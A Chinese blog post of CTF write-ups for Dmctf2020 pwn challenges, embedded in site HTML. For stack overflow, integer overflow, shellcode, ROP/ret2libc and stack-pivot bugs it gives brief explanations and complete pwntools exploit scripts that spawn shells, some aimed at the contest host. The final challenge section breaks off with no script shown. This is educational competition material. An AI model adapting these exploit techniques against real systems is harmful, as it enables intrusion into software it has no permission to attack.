<!DOCTYPE html><html lang="zh-CN" data-theme="light"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Dmctf_pwn题解 | eternal</title><meta name="keywords" content="ctf"><meta name="author" content="eternal,1397239425@qq.com"><meta name="copyright" content="eternal"><meta name="format-detection" content="telephone=no"><meta name="theme-color" content="#ffffff"><meta http-equiv="Cache-Control" content="no-transform"><meta http-equiv="Cache-Control" content="no-siteapp"><meta name="description" content="以下题均请注意glibc版本问题 intoverflow整数溢出绕过，跳转到后门函数 exp: #!&#x2F;usr&#x2F;bin&#x2F;python#coding:utf-8from pwn import*p&#x3D;process(&amp;#x27;.&#x2F;intoverflow&amp;#x27;)system_addr &#x3D; 0x8048645p.recvuntil(&quot;Now,we need a password&quot;)">
<meta property="og:type" content="article">
<meta property="og:title" content="Dmctf_pwn题解">
<meta property="og:url" content="http://example.com/2020/12/01/Dmctf-pwn%E9%A2%98%E8%A7%A3/index.html">
<meta property="og:site_name" content="eternal">
<meta property="og:description" content="以下题均请注意glibc版本问题 intoverflow整数溢出绕过，跳转到后门函数 exp: #!&#x2F;usr&#x2F;bin&#x2F;python#coding:utf-8from pwn import*p&#x3D;process(&amp;#x27;.&#x2F;intoverflow&amp;#x27;)system_addr &#x3D; 0x8048645p.recvuntil(&quot;Now,we need a password&quot;)">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://i.loli.net/2020/05/01/gkihqEjXxJ5UZ1C.jpg">
<meta property="article:published_time" content="2020-12-01T11:37:53.000Z">
<meta property="article:modified_time" content="2020-12-01T11:52:51.177Z">
<meta property="article:author" content="eternal">
<meta property="article:tag" content="ctf">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://i.loli.net/2020/05/01/gkihqEjXxJ5UZ1C.jpg"><link rel="shortcut icon" href="/img/ad.jpg"><link rel="canonical" href="http://example.com/2020/12/01/Dmctf-pwn%E9%A2%98%E8%A7%A3/"><link rel="preconnect" href="//cdn.jsdelivr.net"/><link rel="preconnect" href="//busuanzi.ibruce.info"/><link rel="stylesheet" href="/css/index.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free/css/all.min.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/fancybox@latest/dist/jquery.fancybox.min.css"><script>var GLOBAL_CONFIG = { 
  root: '/',
  algolia: undefined,
  localSearch: undefined,
  translate: undefined,
  noticeOutdate: undefined,
  highlight: {"plugin":"highlighjs","highlightCopy":true,"highlightLang":true},
  copy: {
    success: '复制成功',
    error: '复制错误',
    noSupport: '浏览器不支持'
  },
  relativeDate: {
    homepage: false,
    post: false
  },
  runtime: '天',
  date_suffix: {
    just: '刚刚',
    min: '分钟前',
    hour: '小时前',
    day: '天前',
    month: '个月前'
  },
  copyright: undefined,
  ClickShowText: {"text":"A,B,C,D,E,F,G","fontSize":"15px"},
  lightbox: 'fancybox',
  Snackbar: undefined,
  justifiedGallery: {
    js: 'https://cdn.jsdelivr.net/npm/justifiedGallery/dist/js/jquery.justifiedGallery.min.js',
    css: 'https://cdn.jsdelivr.net/npm/justifiedGallery/dist/css/justifiedGallery.min.css'
  },
  isPhotoFigcaption: false,
  islazyload: false,
  isanchor: false
};

var saveToLocal = {
  set: function setWithExpiry(key, value, ttl) {
    const now = new Date()
    const expiryDay = ttl * 86400000
    const item = {
      value: value,
      expiry: now.getTime() + expiryDay,
    }
    localStorage.setItem(key, JSON.stringify(item))
  },

  get: function getWithExpiry(key) {
    const itemStr = localStorage.getItem(key)

    if (!itemStr) {
      return undefined
    }
    const item = JSON.parse(itemStr)
    const now = new Date()

    if (now.getTime() > item.expiry) {
      localStorage.removeItem(key)
      return undefined
    }
    return item.value
  }
}</script><script id="config_change">var GLOBAL_CONFIG_SITE = { 
  isPost: true,
  isHome: false,
  isHighlightShrink: false,
  isToc: false,
  postUpdate: '2020-12-01 19:52:51'
}</script><noscript><style type="text/css">
  #nav {
    opacity: 1
  }
  .justified-gallery img {
    opacity: 1
  }

  #recent-posts time,
  #post-meta time {
    display: inline !important
  }
</style></noscript><link rel="stylesheet" href="APlayer.min.css"><div id="aplayer"></div><script src="https://cdn.jsdelivr.net/gh/radium-bit/res@master/live2d/autoload.js" async></script><script src="https://cdn.jsdelivr.net/npm/meting@2/dist/Meting.min.js" async></script><script>(function () {  window.activateDarkMode = function () {
    document.documentElement.setAttribute('data-theme', 'dark')
    if (document.querySelector('meta[name="theme-color"]') !== null) {
      document.querySelector('meta[name="theme-color"]').setAttribute('content', '#0d0d0d')
    }
  }
  window.activateLightMode = function () {
    document.documentElement.setAttribute('data-theme', 'light')
   if (document.querySelector('meta[name="theme-color"]') !== null) {
      document.querySelector('meta[name="theme-color"]').setAttribute('content', '#ffffff')
    }
  }
  const autoChangeMode = 'false'
  const t = saveToLocal.get('theme')
  if (autoChangeMode === '1') {
    const isDarkMode = window.matchMedia('(prefers-color-scheme: dark)').matches
    const isLightMode = window.matchMedia('(prefers-color-scheme: light)').matches
    const isNotSpecified = window.matchMedia('(prefers-color-scheme: no-preference)').matches
    const hasNoSupport = !isDarkMode && !isLightMode && !isNotSpecified
    if (t === undefined) {
      if (isLightMode) activateLightMode()
      else if (isDarkMode) activateDarkMode()
      else if (isNotSpecified || hasNoSupport) {
        const now = new Date()
        const hour = now.getHours()
        const isNight = hour <= 6 || hour >= 18
        isNight ? activateDarkMode() : activateLightMode()
      }
      window.matchMedia('(prefers-color-scheme: dark)').addListener(function (e) {
        if (saveToLocal.get('theme') === undefined) {
          e.matches ? activateDarkMode() : activateLightMode()
        }
      })
    } else if (t === 'light') activateLightMode()
    else activateDarkMode()
  } else if (autoChangeMode === '2') {
    const now = new Date()
    const hour = now.getHours()
    const isNight = hour <= 6 || hour >= 18
    if (t === undefined) isNight ? activateDarkMode() : activateLightMode()
    else if (t === 'light') activateLightMode()
    else activateDarkMode()
  } else {
    if (t === 'dark') activateDarkMode()
    else if (t === 'light') activateLightMode()
  }const asideStatus = saveToLocal.get('aside-status')
if (asideStatus !== undefined) {
   if (asideStatus === 'hide') {
     document.documentElement.classList.add('hide-aside')
   } else {
     document.documentElement.classList.remove('hide-aside')
   }
}})()</script><meta name="generator" content="Hexo 5.2.0"><link rel="alternate" href="/atom.xml" title="eternal" type="application/atom+xml">
</head><body><div id="sidebar"><div id="menu-mask"></div><div id="sidebar-menus"><div class="author-avatar"><img class="avatar-img" src="/img/ccc.png" onerror="onerror=null;src='/img/friend_404.gif'" alt="avatar"/></div><div class="site-data"><div class="data-item is-center"><div class="data-item-link"><a href="/archives/"><div class="headline">文章</div><div class="length-num">15</div></a></div></div><div class="data-item is-center"><div class="data-item-link"><a href="/tags/"><div class="headline">标签</div><div class="length-num">8</div></a></div></div><div class="data-item is-center"><div class="data-item-link"><a href="/categories/"><div class="headline">分类</div><div class="length-num">12</div></a></div></div></div><hr/><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> 首页</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> 时间轴</span></a></div><div class="menus_item"><a class="site-page" href="/tags/"><i class="fa-fw fas fa-tags"></i><span> 标签</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> 分类</span></a></div><div class="menus_item"><a class="site-page" href="javascript:void(0);"><i class="fa-fw fas fa-list"></i><span> 清单</span><i class="fas fa-chevron-down expand"></i></a><ul class="menus_item_child"><li><a class="site-page" href="/music/"><i class="fa-fw fas fa-music"></i><span> Music</span></a></li><li><a class="site-page" href="/photos/"><i class="fa-fw fa fa-camera-retro"></i><span> photos</span></a></li></ul></div><div class="menus_item"><a class="site-page" href="/shuoshuo/"><i class="fa-fw fa fa-star"></i><span> 说说</span></a></div><div class="menus_item"><a class="site-page" href="/link/"><i class="fa-fw fas fa-link"></i><span> Link</span></a></div></div></div></div><div id="body-wrap"><header class="post-bg" id="page-header" style="background-image: url(https://i.loli.net/2020/05/01/gkihqEjXxJ5UZ1C.jpg)"><nav id="nav"><span id="blog_name"><a id="site-name" href="/">eternal</a></span><span id="menus"><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> 首页</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> 时间轴</span></a></div><div class="menus_item"><a class="site-page" href="/tags/"><i class="fa-fw fas fa-tags"></i><span> 标签</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> 分类</span></a></div><div class="menus_item"><a class="site-page" href="javascript:void(0);"><i class="fa-fw fas fa-list"></i><span> 清单</span><i class="fas fa-chevron-down expand"></i></a><ul class="menus_item_child"><li><a class="site-page" href="/music/"><i class="fa-fw fas fa-music"></i><span> Music</span></a></li><li><a class="site-page" href="/photos/"><i class="fa-fw fa fa-camera-retro"></i><span> photos</span></a></li></ul></div><div class="menus_item"><a class="site-page" href="/shuoshuo/"><i class="fa-fw fa fa-star"></i><span> 说说</span></a></div><div class="menus_item"><a class="site-page" href="/link/"><i class="fa-fw fas fa-link"></i><span> Link</span></a></div></div><span class="close" id="toggle-menu"><a class="site-page"><i class="fas fa-bars fa-fw"></i></a></span></span></nav><div id="post-info"><h1 class="post-title">Dmctf_pwn题解</h1><div id="post-meta"><div class="meta-firstline"><span class="post-meta-date"><i class="far fa-calendar-alt fa-fw post-meta-icon"></i><span class="post-meta-label">发表于</span><time class="post-meta-date-created" datetime="2020-12-01T11:37:53.000Z" title="发表于 2020-12-01 19:37:53">2020-12-01</time><span class="post-meta-separator">|</span><i class="fas fa-history fa-fw post-meta-icon"></i><span class="post-meta-label">更新于</span><time class="post-meta-date-updated" datetime="2020-12-01T11:52:51.177Z" title="更新于 2020-12-01 19:52:51">2020-12-01</time></span><span class="post-meta-categories"><span class="post-meta-separator">|</span><i class="fas fa-inbox fa-fw post-meta-icon"></i><a class="post-meta-categories" href="/categories/Dmctf2020/">Dmctf2020</a></span></div><div class="meta-secondline"> <span class="post-meta-separator">|</span><span class="post-meta-pv-cv"><i class="far fa-eye fa-fw post-meta-icon"></i><span class="post-meta-label">阅读量:</span><span id="busuanzi_value_page_pv"></span></span></div></div></div></header><main class="layout" id="content-inner"><div id="post"><article class="post-content" id="article-container"><p><strong>以下题均请注意glibc版本问题</strong></p>
<h1 id="intoverflow"><a href="#intoverflow" class="headerlink" title="intoverflow"></a>intoverflow</h1><p>整数溢出绕过，跳转到后门函数</p>
<p><strong>exp:</strong></p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"><span class="comment">#coding:utf-8</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line"></span><br><span class="line">p=process(<span class="string">&#x27;./intoverflow&#x27;</span>)</span><br><span class="line">system_addr = <span class="number">0x8048645</span></span><br><span class="line">p.recvuntil(<span class="string">&quot;Now,we need a password&quot;</span>)</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span> * <span class="number">0x15</span> + <span class="string">&#x27;b&#x27;</span> * <span class="number">4</span> + p32(system_addr)</span><br><span class="line">payload  += <span class="string">&#x27;a&#x27;</span> * (<span class="number">261</span> - <span class="built_in">len</span>(payload))</span><br><span class="line">p.send(payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="stackoverflow"><a href="#stackoverflow" class="headerlink" title="stackoverflow"></a>stackoverflow</h1><p>栈溢出跳转至后门函数</p>
<p><strong>exp:</strong></p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"><span class="comment">#coding:utf-8</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line"></span><br><span class="line">system_addr = <span class="number">0x4006ba</span></span><br><span class="line">p = process(<span class="string">&#x27;./stackoverflow&#x27;</span>)</span><br><span class="line"><span class="comment">#p = remote()</span></span><br><span class="line">p.recvuntil(<span class="string">&#x27;Welcome to DMCTF,please input your name!&#x27;</span>)</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span> * <span class="number">0x10</span> + <span class="string">&#x27;b&#x27;</span> * <span class="number">8</span> + p64(system_addr)</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="shellcode"><a href="#shellcode" class="headerlink" title="shellcode"></a>shellcode</h1><p>程序泄露buf地址，发送shellcode，跳转到shellcode执行</p>
<p><strong>exp:</strong></p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"><span class="comment">#coding:utf-8</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line"></span><br><span class="line">p =process(<span class="string">&#x27;./shellcode&#x27;</span>)</span><br><span class="line">context.log_level = <span class="string">&#x27;DEBUG&#x27;</span></span><br><span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#p.recvline()</span></span><br><span class="line">ret_addr = <span class="built_in">int</span>(p.recvline()[<span class="number">0</span>:<span class="number">14</span>],<span class="number">16</span>)</span><br><span class="line">shellcode = asm(shellcraft.amd64.sh())</span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(ret_addr)</span><br><span class="line"></span><br><span class="line">payload = shellcode</span><br><span class="line">payload += <span class="string">&#x27;a&#x27;</span> * (<span class="number">0x90</span>+<span class="number">8</span>-<span class="built_in">len</span>(shellcode))</span><br><span class="line">payload += p64(ret_addr)</span><br><span class="line"></span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="Admin-Panel"><a href="#Admin-Panel" class="headerlink" title="Admin Panel"></a>Admin Panel</h1><p>利用整数溢出突破输入长度限制进行栈溢出。</p>
<p><strong>exp:</strong></p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">s = <span class="keyword">lambda</span> data: p.send(<span class="built_in">str</span>(data))</span><br><span class="line">sa = <span class="keyword">lambda</span> delim,data: p.sendafter(delim,<span class="built_in">str</span>(data))</span><br><span class="line">sl = <span class="keyword">lambda</span> data: p.sendline(<span class="built_in">str</span>(data))</span><br><span class="line">sla = <span class="keyword">lambda</span> delim,data: p.sendlineafter(delim,<span class="built_in">str</span>(data))</span><br><span class="line">r = <span class="keyword">lambda</span> num=<span class="number">4096</span>: p.recv(num)</span><br><span class="line">ru = <span class="keyword">lambda</span> delims,drop=<span class="literal">True</span>: p.recvuntil(delims,drop)</span><br><span class="line">uu64 = <span class="keyword">lambda</span> data: u64(data.ljust(<span class="number">8</span>,<span class="string">&#x27;\0&#x27;</span>))</span><br><span class="line">leak = <span class="keyword">lambda</span> name,addr: log.success(<span class="string">&#x27;&#123;&#125; = &#123;:#x&#125;&#x27;</span>.<span class="built_in">format</span>(name, addr))</span><br><span class="line"></span><br><span class="line"><span class="comment">#context.log_level = &#x27;DEBUG&#x27;</span></span><br><span class="line">binary = <span class="string">&#x27;./admin_panel&#x27;</span></span><br><span class="line">context.binary = binary</span><br><span class="line">elf = ELF(binary,checksec=<span class="literal">False</span>)</span><br><span class="line">p = process(binary)</span><br><span class="line"></span><br><span class="line">sla(<span class="string">&#x27;Username: &#x27;</span>, <span class="string">&#x27;merc&#x27;</span>)</span><br><span class="line">payload = flat(<span class="string">&#x27;a&#x27;</span>*(<span class="number">0x19</span>+<span class="number">4</span>), <span class="number">0x804864b</span>).ljust(<span class="number">260</span>, <span class="string">&#x27;a&#x27;</span>)</span><br><span class="line">sla(<span class="string">&#x27;Password: &#x27;</span>, payload)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="shutup"><a href="#shutup" class="headerlink" title="shutup"></a>shutup</h1><p>利用栈溢出调用 read 读取 shellcode 到 bss 段，最后跳转到 bss 段执行 shellcode。</p>
<p><strong>exp:</strong></p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">s = <span class="keyword">lambda</span> data: p.send(<span class="built_in">str</span>(data))</span><br><span class="line">sa = <span class="keyword">lambda</span> delim,data: p.sendafter(delim,<span class="built_in">str</span>(data))</span><br><span class="line">sl = <span class="keyword">lambda</span> data: p.sendline(<span class="built_in">str</span>(data))</span><br><span class="line">sla = <span class="keyword">lambda</span> delim,data: p.sendlineafter(delim,<span class="built_in">str</span>(data))</span><br><span class="line">r = <span class="keyword">lambda</span> num=<span class="number">4096</span>: p.recv(num)</span><br><span class="line">ru = <span class="keyword">lambda</span> delims,drop=<span class="literal">True</span>: p.recvuntil(delims,drop)</span><br><span class="line">uu64 = <span class="keyword">lambda</span> data: u64(data.ljust(<span class="number">8</span>,<span class="string">&#x27;\0&#x27;</span>))</span><br><span class="line">leak = <span class="keyword">lambda</span> name,addr: log.success(<span class="string">&#x27;&#123;&#125; = &#123;:#x&#125;&#x27;</span>.<span class="built_in">format</span>(name, addr))</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">&#x27;DEBUG&#x27;</span></span><br><span class="line">binary = <span class="string">&#x27;./shutup&#x27;</span></span><br><span class="line">context.binary = binary</span><br><span class="line">elf = ELF(binary,checksec=<span class="literal">False</span>)</span><br><span class="line">p = process(binary)</span><br><span class="line"></span><br><span class="line">pop3 = <span class="number">0x8048539</span></span><br><span class="line">s(flat(<span class="string">&#x27;a&#x27;</span>*(<span class="number">0x18</span>+<span class="number">4</span>), elf.plt[<span class="string">&#x27;read&#x27;</span>], pop3, <span class="number">0</span>, elf.bss(), <span class="number">0x100</span>, elf.bss()))</span><br><span class="line">s(asm(shellcraft.sh()))</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="babystack"><a href="#babystack" class="headerlink" title="babystack"></a>babystack</h1><p>简单的rop链构造</p>
<p><strong>exp:</strong></p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"> <span class="comment">#coding=utf-8</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span>*</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    p = remote(<span class="string">&#x27;dmctf.vaala.cloud&#x27;</span>,<span class="number">28182</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&quot;./babystack&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span>():</span></span><br><span class="line">    elf=ELF(<span class="string">&#x27;./babystack&#x27;</span>)</span><br><span class="line">    pop_rbp_ret=<span class="number">0x0000000000400520</span></span><br><span class="line">    pop_rdi_ret=<span class="number">0x0000000000400663</span></span><br><span class="line">    write_plt=elf.plt[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">    libc_start_main_got=elf.got[<span class="string">&#x27;__libc_start_main&#x27;</span>]</span><br><span class="line"></span><br><span class="line">    p.recvuntil(<span class="string">&quot;PWNME,PWNME,PWMME!!!\n&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># gdb.attach(p)</span></span><br><span class="line">    main=<span class="number">0x00000000004005B6</span></span><br><span class="line">    rsi_r15_ret=<span class="number">0x0000000000400661</span></span><br><span class="line">    payload1=<span class="string">&#x27;a&#x27;</span>*<span class="number">0x18</span>+p64(pop_rdi_ret)+p64(<span class="number">1</span>)+p64(rsi_r15_ret)+p64(libc_start_main_got)+p64(<span class="number">0</span>)+p64(write_plt)+p64(main)</span><br><span class="line"></span><br><span class="line">    p.sendline(payload1)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># p.recv()</span></span><br><span class="line">    <span class="comment">#打印出write()函数在got表中的地址</span></span><br><span class="line">    libc_start_main_add=u64(p.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">&quot;\x00&quot;</span>))</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;libc_start_main_add=&quot;</span>+<span class="built_in">hex</span>(libc_start_main_add)</span><br><span class="line">    libc=LibcSearcher(<span class="string">&#x27;__libc_start_main&#x27;</span>,libc_start_main_add)</span><br><span class="line">    libc_base=libc_start_main_add-libc.dump(<span class="string">&#x27;__libc_start_main&#x27;</span>)</span><br><span class="line">    system_addr=libc_base+libc.dump(<span class="string">&#x27;system&#x27;</span>)</span><br><span class="line">    bin_addr=libc_base+libc.dump(<span class="string">&#x27;str_bin_sh&#x27;</span>)</span><br><span class="line">    <span class="built_in">print</span> (<span class="string">&quot;system_addr = &quot;</span>+<span class="built_in">hex</span>(system_addr))</span><br><span class="line">    <span class="built_in">print</span>  (<span class="string">&quot;bin_addr = &quot;</span>+<span class="built_in">hex</span>(bin_addr))</span><br><span class="line">    p.recv()</span><br><span class="line">    payload2=<span class="string">&#x27;a&#x27;</span>*<span class="number">0x10</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">8</span>+p64(pop_rdi_ret)+p64(bin_addr)+p64(system_addr)</span><br><span class="line">    p.sendline(payload2)</span><br><span class="line">    p.interactive()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    main()</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<h1 id="easyStack"><a href="#easyStack" class="headerlink" title="easyStack"></a>easyStack</h1><p>简单的栈迁移(libc为2.27)</p>
<p><strong>exp:</strong></p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#! /usr/bin/python</span></span><br><span class="line"><span class="comment">#-*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>, <span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span> , os = <span class="string">&#x27;linux&#x27;</span>, log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># p = process(&#x27;./pwn&#x27;, env=&#123;&#x27;LD_PRELOAD&#x27;:&#x27;./libc.so.6&#x27;&#125;)</span></span><br><span class="line">p = remote(<span class="string">&quot;dmctf.vaala.cloud&quot;</span>, <span class="number">28382</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"></span><br><span class="line">pwn_addr = <span class="number">0x4006AE</span></span><br><span class="line">pop_rdi = <span class="number">0x0000000000400803</span></span><br><span class="line">pop_rsi_ret = <span class="number">0x0000000000400801</span></span><br><span class="line">leave_ret = <span class="number">0x000000000040071f</span></span><br><span class="line">one = <span class="number">0x601160</span></span><br><span class="line">two = <span class="number">0x601060</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="comment"># gdb.attach(p, &#x27;b *0x40071F\n&#x27;)</span></span><br><span class="line">    payload = p64(two) + p64(pop_rdi) + p64(elf.got[<span class="string">&#x27;puts&#x27;</span>]) + p64(elf.plt[<span class="string">&#x27;puts&#x27;</span>]) + p64(leave_ret)</span><br><span class="line">    p.sendafter(<span class="string">&#x27;name?&#x27;</span>, payload)</span><br><span class="line">    payload = p64(one) + p64(pop_rdi) + p64(<span class="number">0</span>) + p64(pop_rsi_ret) + p64(one + <span class="number">8</span>) + p64(<span class="number">0</span>) + p64(elf.plt[<span class="string">&#x27;read&#x27;</span>]) + p64(leave_ret)</span><br><span class="line">    p.sendafter(<span class="string">&#x27;something?&#x27;</span>, payload)</span><br><span class="line">    payload = <span class="string">&#x27;a&#x27;</span> * <span class="number">0x10</span> + p64(one) + <span class="string">&#x27;\x1f&#x27;</span></span><br><span class="line">    p.sendafter(<span class="string">&#x27;Bye?&#x27;</span>, payload)</span><br><span class="line">    leak = u64(p.recvuntil(<span class="string">&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">&#x27;\x00&#x27;</span>))</span><br><span class="line">    libc_base = leak - <span class="number">0x80aa0</span></span><br><span class="line">    success(<span class="string">&#x27;PUTS: &#x27;</span> + <span class="built_in">str</span>(<span class="built_in">hex</span>(leak)))</span><br><span class="line">    success(<span class="string">&#x27;LIBC: &#x27;</span> + <span class="built_in">str</span>(<span class="built_in">hex</span>(libc_base)))</span><br><span class="line">    og = [<span class="number">0x4f3d5</span>, <span class="number">0x4f432</span>, <span class="number">0x10a41c</span>]</span><br><span class="line">    payload = p64(og[<span class="number">2</span>] + libc_base)</span><br><span class="line">    p.send(payload)</span><br><span class="line">    p.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="flag-shop"><a href="#flag-shop" class="headerlink" title="flag_shop"></a>flag_shop</h1><p>配合 work 和 buy 功能将钱数降至 0，这样就能构造出包含 $0; 的字符串，然后用寄存器传参把 $0 给 system 调用即可。</p>
<p><strong>exp:</strong></p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">s = <span class="keyword">lambda</span> data: p.send(<span class="built_in">str</span>(data))</span><br><span class="line">sa = <span class="keyword">lambda</span> delim,data: p.sendafter(delim,<span class="built_in">str</span>(data))</span><br><span class="line">sl = <span class="keyword">lambda</span> data: p.sendline(<span class="built_in">str</span>(data))</span><br><span class="line">sla = <span class="keyword">lambda</span> delim,data: p.sendlineafter(delim,<span class="built_in">str</span>(data))</span><br><span class="line">r = <span class="keyword">lambda</span> num=<span class="number">4096</span>: p.recv(num)</span><br><span class="line">ru = <span class="keyword">lambda</span> delims,drop=<span class="literal">True</span>: p.recvuntil(delims,drop)</span><br><span class="line">uu64 = <span class="keyword">lambda</span> data: u64(data.ljust(<span class="number">8</span>,<span class="string">&#x27;\0&#x27;</span>))</span><br><span class="line">leak = <span class="keyword">lambda</span> name,addr: log.success(<span class="string">&#x27;&#123;&#125; = &#123;:#x&#125;&#x27;</span>.<span class="built_in">format</span>(name, addr))</span><br><span class="line"></span><br><span class="line"><span class="comment">#context.log_level = &#x27;DEBUG&#x27;</span></span><br><span class="line">binary = <span class="string">&#x27;./flag_shop&#x27;</span></span><br><span class="line">context.binary = binary</span><br><span class="line">elf = ELF(binary,checksec=<span class="literal">False</span>)</span><br><span class="line">p = process(binary)</span><br><span class="line"></span><br><span class="line">sla(<span class="string">&#x27;Exit\n&#x27;</span>, <span class="string">&#x27;5&#x27;</span>)</span><br><span class="line">ru(<span class="string">&#x27;have $&#x27;</span>)</span><br><span class="line">money = <span class="built_in">int</span>(r(<span class="number">1</span>))</span><br><span class="line">sla(<span class="string">&#x27;[yes/no]&#x27;</span>, <span class="string">&#x27;yes&#x27;</span>)</span><br><span class="line">money += <span class="number">1</span></span><br><span class="line"></span><br><span class="line">times = money / <span class="number">2</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(times):</span><br><span class="line">    sla(<span class="string">&#x27;Exit\n&#x27;</span>, <span class="string">&#x27;1&#x27;</span>)</span><br><span class="line">    sla(<span class="string">&#x27;[yes/no]&#x27;</span>, <span class="string">&#x27;yes&#x27;</span>)</span><br><span class="line"></span><br><span class="line">msg = <span class="number">0x602080</span></span><br><span class="line">pop_rdi = <span class="number">0x400e03</span></span><br><span class="line">sla(<span class="string">&#x27;Exit\n&#x27;</span>, <span class="string">&#x27;1&#x27;</span>)</span><br><span class="line">payload = flat(<span class="string">&#x27;a&#x27;</span>*(<span class="number">0x50</span>+<span class="number">8</span>), pop_rdi, msg+<span class="number">15</span>, elf.plt[<span class="string">&#x27;system&#x27;</span>])</span><br><span class="line">sla(<span class="string">&#x27;[yes/no]&#x27;</span>, payload)</span><br><span class="line"></span><br><span class="line">sl(<span class="string">&#x27;6&#x27;</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="马大师的绝招"><a href="#马大师的绝招" class="headerlink" title="马大师的绝招"></a>马大师的绝招</h1><p>格式化字符串漏洞和栈溢出。</p>
<p>格式化字符串漏洞可以泄露canary和libc地址，栈溢出劫持执行流。</p>
<p><strong>exp:</strong></p>
